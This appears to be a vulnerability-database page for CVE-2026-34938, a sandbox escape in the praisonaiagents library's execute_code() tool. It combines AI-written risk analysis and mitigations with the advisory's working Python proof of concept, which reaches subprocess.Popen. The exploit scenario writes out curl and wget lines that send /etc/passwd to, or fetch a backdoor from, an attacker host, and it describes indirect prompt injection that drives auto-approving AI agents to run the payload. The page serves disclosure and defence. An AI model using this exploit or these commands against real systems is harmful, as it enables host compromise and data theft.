Python
CVE-2026-34938
CRITICAL
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessCraft str subclass with overridden startswith()
-
DeliveryPass to _safe_getattr wrapper
-
ExploitBypass underscore prefix guard
-
ExecutionExecute arbitrary OS commands
-
ImpactAchieve host compromise
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V15 - Secure Coding and Architecture Protection mechanism completeness
|
| Exploitation Conditions | Remote unauthenticated attacker can exploit praisonai-agents by passing a str subclass with overridden startswith() method to execute_code() function. No victim interaction required. Affects default installations where execute_code() is accessible over network. |
| Impact | This represents an exceptionally high real-world risk despite being a recent disclosure with no CISA KEV listing. The CVSS 10.0 score accurately reflects severity: network-accessible (AV:N), trivial exploitation complexity (AC:L), no authentication required (PR:N), no user interaction needed (UI:N), and changed scope (S:C) indicating escape from the sandbox trust boundary with complete confidentiality, integrity, and availability impact. The publicly available exploit code in the GitHub advisory demonstrates reliability with a working proof-of-concept requiring only ~20 lines of Python. Critical aggravating factors include: (1) default configurations in bot.py and autonomy_mode.py enable auto-approval, eliminating human oversight, (2) the attack surface includes indirect prompt injection vectors where external content can trigger malicious execute_code() calls in autonomous AI agents, and (3) subprocess access provides immediate OS command execution rather than requiring further exploitation steps. While EPSS data is not provided, the combination of maximum CVSS, published POC, trivial exploitation, and deployment in autonomous AI systems that process untrusted input makes this a patch-immediately priority. The SSVC framework would classify this as exploitable (POC exists), automatable (no user interaction), and with total technical impact. |
| Exploit ScenarioDerived | An attacker crafts a malicious prompt or injects content into data sources consumed by an autonomous AI agent running praisonaiagents with default auto-approve settings. The agent determines it should execute Python code to fulfill the request and calls execute_code() with the attacker's payload. The payload uses type() to construct a FakeStr subclass overriding startswith() to always return False, then accesses __mro__ and __subclasses__() on the object base class to enumerate all loaded Python classes. Upon finding subprocess.Popen, the attacker invokes it with arbitrary shell commands such as ['curl', 'attacker.com/exfil', '-d', '@/etc/passwd'] to exfiltrate sensitive data or ['bash', '-c', 'wget attacker.com/backdoor.sh|bash'] to establish persistence. The entire attack executes silently without user confirmation, achieving full OS-level compromise with the privileges of the Python process. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 02, 2026
Critical sandbox escape in praisonaiagents Python library allows remote unauthenticated attackers to execute arbitrary OS commands by exploiting a type-checking flaw in the _safe_getattr wrapper. The vulnerability affects pkg:pip/praisonaiagents and carries a maximum CVSS 10.0 score with network attack vector, no authentication required, and changed scope impact. Deployments using default autonomous modes (PRAISONAI_AUTO_APPROVE=true) execute attacker code silently without human confirmation, enabling indirect prompt injection attacks against AI agent pipelines. Publicly available exploit code exists with working proof-of-concept demonstrating full OS command execution via subprocess.Popen access.
RemediationAI
Upstream fix available via GitHub advisory GHSA-6vh2-h83c-9294; released patched version not independently confirmed from available data. Users should immediately check the GitHub advisory at https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6vh2-h83c-9294 for patched releases and upgrade praisonaiagents to the latest version via pip install --upgrade praisonaiagents. Until patching is complete, implement emergency mitigations: (1) disable execute_code() functionality entirely if not strictly required, (2) set PRAISONAI_AUTO_APPROVE=false to require human confirmation for all code execution requests, (3) implement strict input validation to reject any code containing 'type(' constructor calls or reflection-related strings, and (4) isolate praisonaiagents processes in containerized environments with minimal privileges and no network access. The _safe_getattr implementation requires redesign to use type(name) is str rather than isinstance checks, ensuring only true str instances pass validation and subclass overrides cannot bypass security controls. Organizations using AI agent frameworks should audit all code execution sandboxes for similar type-checking vulnerabilities.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability exploits a fundamental weakness in Python's type system and the execute_code() sandbox implementation. The three-layer sandbox uses _safe_getattr to block attribute access to private members (those starting with underscore) by checking isinstance(name, str) and name.startswith('_'). However, Python's isinstance() returns True for subclass instances, while startswith() is a normal method that can be overridden in subclasses. By using type() (whitelisted in safe_builtins) to dynamically create a str subclass with a neutered startswith() that always returns False, attackers bypass the underscore check entirely. This grants access to __mro__, __subclasses__, and other reflection attributes that enable walking the object graph to reach subprocess.Popen. The root cause maps to CWE-693 (Protection Mechanism Failure) where the sandbox's type-checking logic incorrectly trusts behavior inherited from user-controllable subclasses rather than enforcing immutable type constraints. The pkg:pip/praisonaiagents package implements this flawed sandbox in python_tools.py as part of its AI agent code execution framework.
Know when Python gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Primary rating from Vendor (https://github.com/MervinPraison/PraisonAI) · only source for this CVE.
CVSS VectorVendor: https://github.com/MervinPraison/PraisonAI
Lifecycle Timeline
2DescriptionCVE.org
Summary
execute_code() in praisonai-agents runs attacker-controlled Python inside a three-layer sandbox that can be fully bypassed by passing a str subclass with an overridden startswith() method to the _safe_getattr wrapper, achieving arbitrary OS command execution on the host.
Details
python_tools.py:20 (source) -> python_tools.py:22 (guard bypass) -> python_tools.py:161 (sink)
# source -- _safe_getattr accepts any str subclass
def _safe_getattr(obj, name, *default):
if isinstance(name, str) and name.startswith('_'):
# isinstance passes for subclasses
raise AttributeError(...)
# hop -- type() is whitelisted in safe_builtins, creates str subclass without class keyword
FakeStr = type('FakeStr', (str,), {'startswith': lambda self, *a: False})
# sink -- Popen reached via __subclasses__ walk
r = Popen(['id'], stdout=PIPE, stderr=PIPE)PoC
from praisonaiagents.tools.python_tools import execute_code
payload = """
t = type
FakeStr = t('FakeStr', (str,), {'startswith': lambda self, *a: False})
mro_attr = FakeStr(''.join(['_','_','m','r','o','_','_']))
subs_attr = FakeStr(''.join(['_','_','s','u','b','c','l','a','s','s','e','s','_','_']))
mod_attr = FakeStr(''.join(['_','_','m','o','d','u','l','e','_','_']))
name_attr = FakeStr(''.join(['_','_','n','a','m','e','_','_']))
PIPE = -1
obj_class = getattr(type(()), mro_attr)[1]
for cls in getattr(obj_class, subs_attr)():
try:
m = getattr(cls, mod_attr, '')
n = getattr(cls, name_attr, '')
if m == 'subprocess' and n == 'Popen':
r = cls(['id'], stdout=PIPE, stderr=PIPE)
out, err = r.communicate()
print('RCE:', out.decode())
break
except Exception as e:
print('ERR:', e)
"""
result = execute_code(code=payload)
print(result)
# expected output: RCE: uid=1000(narey) gid=1000(narey) groups=1000(narey)...Impact
Any user or agent pipeline running execute_code() is exposed to full OS command execution as the process user. Deployments using bot.py, autonomy_mode.py, or bots_cli.py set PRAISONAI_AUTO_APPROVE=true by default, meaning no human confirmation is required and the tool fires silently when triggered via indirect prompt injection.
Executive ViewAI
praisonaiagents Python library contains a critical remote code execution vulnerability (CVSS 10.0) that allows unauthenticated attackers to execute arbitrary OS commands through sandbox escape, with particular risk to deployments using autonomous approval modes that execute attacker-controlled code without human review. Any organization running praisonaiagents in production AI agent pipelines faces immediate threat of complete system compromise, data exfiltration, and lateral movement.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Disable autonomous agent modes-require manual human approval for all actions (PRAISONAI_AUTO_APPROVE=false); (2) Implement strict input validation and sanitization on all data flowing into agent prompts; (3) Run praisonaiagents processes in restricted containers with minimal OS permissions and disabled subprocess execution; (4) Isolate affected systems from network access and sensitive data; (5) Monitor for unexpected process spawning or OS command execution from praisonaiagents processes; (6) Consider discontinuing use pending patch release.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Affected Products (CPE)CVE.org
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
GHSA-6vh2-h83c-9294
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB